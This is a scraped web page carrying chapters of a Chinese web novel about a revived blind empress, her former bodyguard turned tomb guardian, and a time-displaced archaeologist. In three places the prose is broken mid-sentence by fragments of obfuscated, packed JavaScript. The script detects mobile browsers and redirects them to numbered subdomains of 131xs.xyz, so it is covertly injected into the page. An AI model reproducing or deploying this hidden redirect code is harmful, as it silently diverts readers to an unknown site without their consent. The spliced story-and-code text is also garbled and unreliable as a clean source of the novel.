d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16405551|184442||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 害,黄水泗流。 刘煌不顾一切跑出去。 晨曦照在山林,老迈的身影一身蓑衣,一根拐棍,正要去山上守陵,被人挡住去路。 抬起斗笠,见是刘煌。 “宣帝朝有诏,凡是武将必须亲临战场,你们的药柜里有军中常备的伤药,系结是西南军的系法。”刘煌平复着灌入胸腔的空气,死死盯着那人。 女帝年间的武人经常身上负伤,经验丰富者识得各种伤口,她只能赌,赌眼前之人能料理阿婴的伤势。 “你不止做过暗卫,你曾经行军过。” “你想救人?” 老人抬眸望她。 “想。” * 重返围龙屋,老人细细卷起阿婴的衣物。 一把剪子,利落割开女童后背衣衫,整片背露了出来,瘦弱贫瘠,更像一副骷髅架子。肩胛骨阴影处,血疤赫然。 “摁住,拿刀。” 昏暗的里屋被灯油照亮,一把磨好的小刀在老人手上,对准瘦骨嶙峋的身躯。 老妪提心吊胆。 细微的刀裁声在响了半刻,血疤里的黄脓被剜出,变成藤壶般的血窟窿。 小许血流缓缓地,自阿婴的背流淌下来。 皇宫倾轧,刘煌遇过无数生死,但若说见,则一个也没见过,她闻得到血味、听得出血哽在喉咙的呜咽。 至于血是什么,伤口是什么形状,她只能凭触觉感受。粘稠、温热、割裂。 当伤势具象成图案,强烈而陌生的景象扭曲住她的五感。 那样的感觉并不好受,即使前生没见过脓,只一眼刘煌便对第一次见的事物产生反胃。 刚登基称帝时,国中仍有不服者,打着阳尊阴卑,恢复天和的旗号起事行刺,有次,箭镞在她体内化脓,一群医官不敢上前。 无人敢拿龙体开玩笑。 是冯樨,干脆了当操起一把刀,清出了留在她体内的箭镞与脓块。 他当时面对的是什么样的情景? 也是在她体内看见这般脓块么? 一颗细小如针的木屑随黄脓被取出,服药昏睡的阿婴抽了抽身。 老人净手,“敷药半月,不要平躺。” 东方的天翻起鱼肚白,一夜的风声雨声过去,光洒在围龙屋矮墙上,药香又重了几层。 刘煌走至重新戴起斗笠的人跟前。 “今日,耽误尊长去守陵了。” 他安静系着屐鞋,似没听见。 “尊长可愿随我们一同下山?” 猛然想起自己昔年的遭遇,刘煌想明些事。 先活下去。 活下去才有功夫去想何去何从。 自己从前,连这般可怖的脓块滞留体内都挺了过来,迢迢人间,哪怕与前生天差地别,过去的辉煌覆灭,这一生,也总归有另一条道在等着她摸寻。 “外部兵荒马乱,东樵山随时有乱兵盗掘,若宣帝看到此情景,想来也不忍心有人为她死守。” 系着屐鞋的手一缓。 屋内传来阿婴转醒的声响,刘煌赔罪退去,“是我多言了。” 她的裙裾渐行渐远。 少顷没入门后,再也不见。 老人迟迟别过头,望着不再有人的小道,松皮一般的手摩挲过面罩,鹤发枯白。 她还是三十年前的模样,散发着来自盛世的余香,可…… “……我已经不再年轻了。” 那个自恃容貌、满身木樨香的小暗卫,在自发守陵的三十年光阴里,不复存在了。 11. 假名 能杀死一名意气风发的少年的不是刀剑,是光阴。 三十年前的南汉宫闱能才倍出,暗卫冯樨不过是王朝见不得光的阴影处里,一抹很短暂的影子。 他朝生暮死,他无势傍身。 除了刘煌身后,没有容身之处。 跪在主子脚下效忠,是一个奴隶最好的活法。 做暗卫的人要隐藏自己的气息声容,遗忘自己,不被人所知,是以他撩开面罩,露出面罩底下面如红玉的容颜。 他的主人看不见,但能摸到。 她的手触碰着他年轻的皮肤,划过他眼角眉梢的每一处风情,是那么温暖,像雪中暖火,炙烤干他藏在骨头缝隙里的每寸阴湿。 一把刀,怕被主人遗忘。 浅薄地、企图从那堆繁琐的奏折中偷得她一缕分神的注意,沾染了满手木樨香。 他长愿她能记住他。 而现在,他恨不得不曾识过她。 已经很久没有碰过镜子了。 自己究竟长什么样?他尽力回想,脑中只剩一片茫茫飘渺的白雾。 当年面如红玉的少年驻足在了过去,与如今华发满镜的老者已没有任何干系了。 他像一头浮出海面讴歌的鲸,唱着无人能听懂的久远哀鸣。 最终,搁浅在礁岸。 * 围龙屋内一面铜鉴也无,刘煌洗完面想重梳发髻,找了半日找不出一面镜子。 再抬头,步到了屋邸中央,头顶一圈屋檐框住天空。 这种房屋多见于南汉国,四面包圆,如盘龙围城,最中心的小房为整座屋宅的核心、也是住在此地之人的根基所在,常为一族祠堂。 木门半开,柳茸冒出半个头,祠堂中心神龛之上,摆着一樽灵位—— 中宗刘煌。 神龛之下是一筐叠好的纸元宝。 黄纸、莲花金、玉皇钱,大大小小手画的冥纸整齐堆在洗净的火盆,纸面残留着手工的褶皱,没有一页受压的折角,足可见造纸之人之用心。 馒头大小的纸元宝叠得整齐划一,刘煌想,叠元宝的人定是很爱惜每一张要烧给亡人的冥币。 纸墨淡香间,她看见了自己的诞辰与故乡,一笔一划,誊写严谨,像一盏盏字做的指明灯,生怕她找不到归家的路。 “头儿!解开了!我解开了!” 柴房里爆发出一阵大笑,李家兄弟悄摸磨了几天磨断了绳索。 真是皇天不负有心人,看这回如何扬眉吐气! 小李郎打眼色招呼着刘煌:“头儿!快趁现在!那小子和他老子守陵去了!” “趁那小子不在,你我兵分两路,赶紧逃!” 提议好极,不过他是不是忘了她和他们其实不是一伙? 刘煌不打算提醒,而是将目光投向了对方激动到拉起自己的手上。 重获自由的人宛如两只刚开化的猿,在围龙屋里吃饱喝足,手舞足蹈策划着逃跑。 “我就知道这竖子偷我寻龙尺!”老李头闯到伏檀卧房,拿回自己被收缴的寻龙尺。 随后报复性地一通胡翻乱找,能撕撕能抢抢,衣箱书箧倾倒在地,掉出零零散散的纸稿。 “看看这是什么?!这小子饱暖思□□!心思不纯呐!” 老李头捡起一张,上面竟是几笔女子的鸾影,华服美冠,风姿绰约。 刘煌莫名想起自己登基时穿的衣裳。 老李头再捡起一张,还是同样的侧影,当即跳脚,“看看、看看!我就说这小子是个淫|魔!说是守墓,我看指不定是下山去什么销魂窝、梦春楼玉兰馆去了!” “哥,你怎的如何熟练?” “少、少废话!你三哥我这是嫉恶如仇,见不得这种白日一副清心寡欲的伪君子!” 骂完一掌拍向盯着画纸津津有味的小李头,“看什么看!搜家伙!” 小李头愁眉苦脸:“搜遍了,这小白面屋里头他就没钱!” 老李头恨恨丢下一句: “呸,穷鬼。” 刘煌捡起地上的一张纸稿,上面画的虽是女子,但并不淫旎。 画中人周身被墨线框着,仿佛躺在某种条状的容器里,就像…… ……像一口棺材。 刘煌訇然想起从棺材出来前做的怪梦,脑内一阵眩晕。 梦太过久远,梦中具体的事情她已忘却。 再看美人图下面一页,是一纸书札。 刘煌虽没见过文字,但经年累月批奏,笔画已烂熟于心,双目复明后一观便能自然对上。 书札上的文字半草半楷,语序离奇,记录着帝陵每日的水文、地貌、天色,一列又一列的年份与月份标记着,日期一直到前日去守陵。 “寻龙尺有反应了!东,东边撤!”老李头摆弄着手上的杆子,一顿招呼。 “不行,得再添把火把这都烧了!让那小白面好看!”小李头望着围龙屋气不打一处来。 “好好好六弟,你速速去生火!” “三哥,你速速去偷粮!头儿!” 正在拾掇纸张的刘煌被一把拉起来,小李头一副八百里托孤的大义凛然之势,“你速速去器库,把那小子的刀剑全拿上!” 刘煌还没来得及答应,两人已攀着肩,仰天大笑出门去。 “煞鬼小白面,今日也让你也尝尝你李爷爷的厉害!” 笑至一半,小李头突然收声。 “这次不能叫他煞鬼了,太便宜他了。” “——叫淫|魔!”老李头小李郎异口同声。 “对对对叫淫|魔!淫|魔小白面!这个好!” 断开的笑声继续接上,李家兄弟大摇大摆走出祠堂门,好不招摇。 一只脚刚迈出门槛,鞋尖踏入一道影子,沿着影子看去,落下影子的事物长着脸,伏檀的脸。 “啊啊啊你你你你从哪冒出的?你是人是鬼?!” 男人今日换了一身松绿色的袍子,半边被刘煌打的眼窝淤青尚未消退,维持着半个熊猫。 他幽幽看着倒抽一口冷气的二人,笑容和善。 “二位的脚方才踏足了何处?”他的眼神落在二人停留祠堂地砖的一只脚上。 李家兄弟表面镇定,额头已然生汗。 “踏足了祠堂,怎么了?”老李头发话,努力架出气势,现在他们人多,气力十足,不能再像以前一样发怵。 “我们还踏足你卧房呢!好个淫|魔!别以为我们不知道,我们可全看清了!” 小李郎在门槛边跳进跳出,“我进,我出,你能奈我何?” “原来如此……”伏檀面上笑容愈甚。 “我与两位有些事谈,还烦请二位过门一聚。” 祠堂大门骤然合紧,隔绝了刘煌的视线,喧嚣一时的祠堂只留她一人。 紧接着,震天惨叫隔着门板透来。 衣裳扯动之声、不知谁嘶哑的求饶声、拳脚相加之声持续了约莫一柱香。 门重新开了。 伏檀立在羲日下,外面已恢复一片清风明月,甚至有清雅梅香。 “谈好了。他们非常高兴能继续留宿。” 一只胳膊掉了出来。 青衣公子挪动几下,挡住,踢回门侧。 “那两人呢?” “他们见有人收留,一时高兴睡过去了。”伏檀面不改色地扯着话。 一颗头带着上半身自门侧倒了下来,摔在刘煌与伏檀中间。 这下不能再隐藏,伏檀笑笑,“哎呀,李叔真是心急,怎睡在此处?” 那张翻白眼吐沫子的脸显然听不见任何声,伏檀扶正人,贴心贴上额头,“是饿晕了么?” 旋即端来一碗粥,“来,晚辈喂你,啊。” 他薄唇徐徐吹着一勺粥,掖进翻着白眼的人口中。 粥从老李头嘴里流了出来。 伏檀看向刘煌,颇有些求助之意,“李叔是不是嫌弃我的粥了?” 刘煌识相地把迈出去的半只脚收了回去。
35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16405552|184442||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > “他大抵是晕了。” “中暑了啊。”伏檀无奈地将秋日中暑的李家兄弟放倒厢房。 日光下金纸发烫,刘煌低头,发现手上的纸元宝还没放归祠堂。 “这元宝是我与父亲亲手叠的,喜欢么?”伏檀眉目放柔许多。 “这是祭奠死人的冥物,是我无心亵玩。”刘煌将纸元宝放回祠堂。 “你父亲经常烧纸钱给女帝吗?”与她素昧平生的守陵人做到此等程度,连刘煌也觉有些过火。 “不算常有,几日后便是宣帝祭辰,父亲每年此事会在山下烧纸钱,他相信有一日宣帝能超度往生,魂归南汉。” “那你呢?”刘煌试探地开口,“你相信她会归来吗?” 他松绿色的半臂衫被风轻拂,转眸望向她,“不信,以前是不信的。” “你的发髻没扎好。” 刘煌怔片刻,方想起自己的头发是在找镜子重扎发髻的。 “我来吧。”伏檀主动揽过活,取出木樨油膏润了遍手,轻轻拢起替她挽髻。 她有些愕然对方还会为女子梳髻,不过前生受人伺候惯了,对于伏檀的举动她并不排斥,受用地自然。 在南汉的深宫,她的“眼睛”也会这般替她扎头发。 儿时,替她梳头的,是她的阿娘,后来这份活计从阿娘手中传承到了礼官的手里。 现在传到了另一个人手里。 殊不知这份手艺伏檀能习得实乃生活所迫。文保修复专业既费钱又没钱途,伏檀上学时常去华服展接妆造补贴生活费。 若那个刚归国念书的少年知晓有日能为她挽髻,心里的抱怨或许早消弭无踪。 “这里没有镜子。”刘煌道。 “父亲不爱照镜子,有次,甚至摔破了屋内所有的镜子,所以便没有镜子了。” 刘煌心想,老人年少时一定生得俊俏。 只有曾经拥有过某样美好特例的人,在失去时才愈不能接受。 那张褶皱分析透面罩的脸年少时是何等出尘,刘煌难以想出。 冯樨的名字又浮上心口。 他最自恃容貌的年岁,她无缘得见,偏生他最想要被她看清容貌,她却是个盲女。 冯樨死在了何处?葬在了何处?刘煌一无所知,旧部风云流散,朝局动荡无序,她想了想,决定下山后先寻找故人,去京城看一看朝中到底发生了何事。 自己留下的班底与人马,不可能护不住这短短三十年,令南汉宗室乱成如此,其间必然出事了。 然而此刻刘煌脑中的所思所想,对于伏檀,只是极其平常的一页资料。 大业十年的天怎么乱了,冰冷的记载里,那些不足以让人信服的文字透着死气不容辩驳,它就是乱了。 伏檀挖过一处古战场,刨出一块块碎骨,测定的年代与帝陵存在的时间接近。 女帝生前海晏河清,当地县志直到她死前也无大规模战争的记载,那这尸骸遍野的一战极大可能发生在她死后,那段无序、空白、从史书里消失了的三十年中。 除了出土的实物,难以搜寻到同一时期与之映照的文字记录。 便导向一种可能:战火很大,就连对其的记录也没能逃过大火的焚烧。 尽管来到了这片空白的时代,但伏檀并不能去探究,他不是此间人,不理此间事。 一如对待许多古墓,入学时每位学生都被教导,不能因为好奇、或想要一窥某人的生平而不计后果地去发掘。 不以自己的喜恶评判任何人与事,才不至有失偏颇。 是以伏檀将无数的心绪压抑,不掺和进这个世界,只守着埋葬女帝刘煌的青冢。 这是他唯一能替她做的事了。 奈何命运总有变数。 “对了,还没问姑娘叫什么?”伏檀盘上一圈发,女子头顶已初具交心髻的雏形。 刘煌眼帘微抬,用起编好的假名:“我叫……禾女。” 啪嗒,伏檀手中的木梳惶然落地。 12. 无恩 “怎么了?”刘煌听见坠地声。 “无妨,梳子掉了。”伏檀拾起木梳,青玉般的手拢起鸦青色的鬓发,替她梳着交心髻最后一环。 有视线落到耳侧,刘煌扭头回望去,与他未来得及收回的目光撞了个满怀。 不知为何,那份清澈的眼眸中,多了几分意味不明的哀怜。 “你说,你叫禾女?” 刘煌应了声,“我的名字很奇怪?” “不,不奇怪,和美的和,很好听。” “是禾苗的禾。” “原来如此,我记住了。”他清眸晦暗,似幽塘沉光。 “禾娘子想下山吗?” “叫我阿禾就好。” “阿禾……”伏檀细碎呢喃几声,声音几不可闻,“那……阿禾想下山吗?” “不是说要保守帝陵的位置不让我们下山吗?” 刘煌觉得反常,此人从来不过问类似的问题,每次想要离开总会被他千方百计阻挠,今日开窍般松了口。 风缄默着,无人回应。 “盘好了。”伏檀收住手,打来一面水。 水面映照出她此刻模样,圈圈涟漪绽在脸上,原本松垮的发髻盘在顶端,徒生伶俐灵动。 刘煌摸上发顶一端,手艺竟和从前为自己盘发的礼官一样稳当灵巧。 当即想到四个字:可用之材。 如此微悦朕心的人才,若自己还在位,必邀此人净身入宫,大封特封为正八品……掌饰。 不知自己已被封为八品掌饰的伏檀正盥着手,察觉到背后的凝视,回首一笑,“喜欢吗?” 刘煌颔首。 深宫内比交心髻华贵繁复的发式比比皆是,灵帝一度嫌弃礼官为公主梳的发不堪台面,特命宫人每日为永阳公主梳发。 起身便更衣,更衣便梳发,黄莺般的公主换上父皇喜欢的新妆,那些颜色、发饰是帝王披在她身上的宠爱,整座銮宫的人都能看见,除了她自己。 这是她头一回看清自己重盘的发髻,蓦地,理解了为何京城的贵胄热衷于捣弄头上几绺毛丝。 “你这手艺是从何处学来的?” 伏檀抹干手,苦笑,“生活所迫。” “你给旁人盘过?” 这手艺,没个二三十下练就不出。 他一顿,眼眸含水,模样有些可怜,“山上清苦,我独自守陵时常给自己盘发解闷罢了。” 四周荒山野岭,的确不像有人烟能练手的样子。 身为帝王,刘煌对任何事都见多不怪,尊重每位子民的癖好,宽慰道:“不必忧心,盘发随心所欲,别人看不见想盘什么样都可——” 一道声音打断她。 “……头儿……他说的话……不能……”晕在地上的小李郎回光返照,刚吊起一口气又直挺挺泄了下去。 一道修长的黑影盖过小李郎的脑袋。 伏檀摸上他,“李郎君烧到脑子了。” 他将人背到身上,“我带他回房去,失陪。” “他的病会有事么?”刘煌听是烧到脑子,想到自己与阿婴的惨痛经历,上心起来。 与李家兄弟说不上相熟,但他们终究是帮自己带路过。 “开几副药的事。”伏檀投来一个不打紧的神情,目光移回她身上,“倒是你,想好下山何时离开了吗?” “你……真的不再阻拦我离开?” 伏檀缄默片刻,“我不会阻拦禾女离开。” “你就不问问我离开要干什么?说不定是招募人手来挖坟呢?” 哪知伏檀看向她,“不论你日后做什么,” “你会顺利出入世的,阿禾。”他眼神坚定,就像在道一则已知的事实。 * 气象台挂起台风预警时,考古工地停止了工作。 博物馆挂起闭馆公告,展馆最深处,展台之上,金蚕帛装裱的卷轴静静陈设。 ——《大兴癸酉诏》,捐赠者:伏氏家族。 这份诏书据传是上世纪在战火炸毁的佛塔下发现的,流落海外。 不用工作的时候,伏檀会来到展柜前,隔着玻璃遥望它。 是他把她留存于世的真迹带回博物馆,年复一年,他褪去青涩,那张诏书却崭新如故。 千年前女帝写下的罪己诏墨迹如新,临死前夕,她仍在劳心于江北的水患,那场她没活下去看到结果的水患。 她或许没见过稻禾与天空的颜色,却用最质朴的发心写下了千年不灭的文字,南汉子民会作她的眼睛,替她去看遍春秋。 诏书上的每个字,伏檀已经熟得能背默。他偶尔在想,假若让这样的人再多活数年,南汉会走向不同的终焉吗? 可是已过的事情没有如果。 女帝死后三十多年后,南汉很快被新的政权取代,一如大多数兴衰往替的朝代般,车轮一直滚滚向前。 外面狂风大作,馆藏的文物安然摆在展柜,于它们而言,这一天的天灾不过是千年淬炼里不起眼的一环。 而崇德五年的深秋,同样到了狂风呼啸的时节。 吹乱了刘煌预订要离开的日子。 本想一边向京城出发,一边找残存的旧部,因着天气刘煌暂时作罢。 隔了一日,唯一通山的路也被吹断的树拦腰截断,伏檀没法去守陵了。 老人不见一丝虑色,待在围龙屋内,守陵人按理是对陵墓最挂心的,刘煌在他脸上见不到愁容。 刘煌见到他们时,他们正在搬诺祠堂里的纸元宝。 祠堂上方是直接对着天的天井,风汹涌灌入,很快便会将纸币吹得一干二净。 伏檀先移了一筐入房门,老人在其后,面罩被风吹开一道口子,他不甚在意,直到瞥见刘煌后慌忙腾出手裹紧。 一只手捂着面罩,一只手护着冥纸,臂弯夹着木作的拐棍,速度慢下许多。 一阵恼人的穿堂风吹过,冥纸雪花般洒落,他的姿态变得窘迫。 刘煌上前一一拾起乱跑的冥纸,折好每一页角,用自己的双臂按住筐里的冥纸不再乱跑。 “其实,尊长不必对我遮面的。”刘煌道。 老人的步履微僵,屏息静气。 “在第一次见你时,我已经看到你的样子了。”虽然仅仅是转瞬即逝一个回身。 火盆噼啪烤着火,刘煌莫名一阵凉意,令人鸡皮疙瘩冒起,冥冥中探寻到凉意的源头,壮起胆子,细心抚平被折弯的的冥纸。 “这些冥纸想来对尊长无比贵重,我听郎君说,要折上至少数月。是我之过,令尊长因遮面而因小失大,若我早些说,或许尊长便能减些损失。” 身前的老人迟迟背对着她不转身。 刘煌浅浅斟酌了下,当是自己的无意一视触碰到了他的逆鳞,但那时他是不曾遮面的。 “我向尊长赔罪。” “你为什么要说……”他突然出声,吓了刘煌一跳。 在为阿婴割脓后,这是他们第一次有交集,晨起时刘煌见到对方也会做一个晚辈该有的礼节,但他从来冷淡掠过,不与刘煌言语。 “是我无心,我可以替尊长折冥纸补齐损失。”反正是 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16405553|184442||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 折给自己的,刘煌不介意多折些。 “你为什么要这么说自己。”拄着拐杖的拳头发紧,青筋可见。 刘煌不明就里,以为是自己解释不到位,“我并非不懂感恩之人,尊长收留我们,而我如今能为做的也寥寥无几,也只有折冥纸这一项,如有机缘也定会报答尊长。” “住口!”拐棍重重敲在地上。 刘煌噤声。 少顷,苍老的声音稍许镇静,颤着嗓:“……我根本无恩于你。” 他匆匆离开,拐棍声失了节律。 火盆里火势越少越旺,一片纸钱掉入内中。 皇城下,公主殿,那个躲在永阳公主床榻下本应殒命的小食官才是被公主救下一命的人。 报恩二字,怎么也不该从另一个人嘴里说出。 风雨一过,待阿婴没有性命之虞,刘煌收拾行李准备离开。 思索再三,她划掉了一起走的计划,没有带上阿婴与老妪。 此行向西上京城太过危险,东樵山的天下如何地乱,她尚不知前路如何,她们没有必要与自己冒险。此地暂时未受兵祸侵扰,做好路标日后再接人也不迟。 但不是所有人都想待在围龙屋,有的人比刘煌还渴望离开。 “头儿!” “头儿啊!” 老李头小李郎噗通跪下,双手合十,哭天抢地,“带我们走吧!” 自打在祠堂挑衅后,李家兄弟彻底老实。 先前伏檀打晕二人靠的是偷袭,没有正面交锋,加之见到刘煌绑着伏檀出帝陵,二人自信大受鼓舞,一个初出茅庐的丫头片子都能捆住的人,他们两个摸金世家还能治不了? 世上最好的寻死路便是错估己身,这几日伏檀没少使唤二人,今日去搬吹倒的巨树、明日当丫鬟洒扫,后日去当诱饵捕大虫。 “吃他们守陵人家一口食真不容易!” “我宁愿吃人肉也不想同那小子待在一间屋子里!” “听听,我六弟被他打得脑子都不好了!”老李头是一把鼻涕一把泪。 “那小子别提有多凶残了!头儿若不救我们脱离苦海还有谁来救?” 刘煌叠好上路的衣裳:“我有说过不带你们吗?” 将他们留在老妪与阿婴身边更不让人不放心。 二人喜出见外,连连叩首,“多谢头儿!救苦救难大菩萨!” 小李郎起身,趁机告状:“头儿,你是不知道那小子多阴险,专门挖个坑把一拳把那八尺的大虫……!” 老李头不断咳嗽警告,小李郎立马收声,松绿色的人影已悄然来至身后。 伏檀衣袍儒雅,腰间别剑的地方换了把折扇,像个文人,“几位在收拾行李?” 小李郎指指一穷二白的身后:“这还用收拾?” “也是,二位没什么可收拾的。” “小子你挑什么事!” 老李头揎拳捋袖,松绿色衣袍的人退到刘煌身后,微微错愕,“李叔,别动怒,晚辈只想来看看有什么能帮到你们的。” 老李头似乎看见什么,直指刘煌身后不停示意。 刘煌回身,除了一位神色平和的伏檀,四周如常,并未发现任何异样,待回过身来只见李家兄弟瞪大了眼,如见人变脸。 “你打算走了?”伏檀问。 “头儿是干大事的,当然要走,”小李郎恨不得即日启程,“我们如今可是有头儿罩着的,从今以后你守你的墓,我们过我们的道!” 伏檀对李家兄弟视若无睹,钝拙地看向刘煌:“我和你一起走。”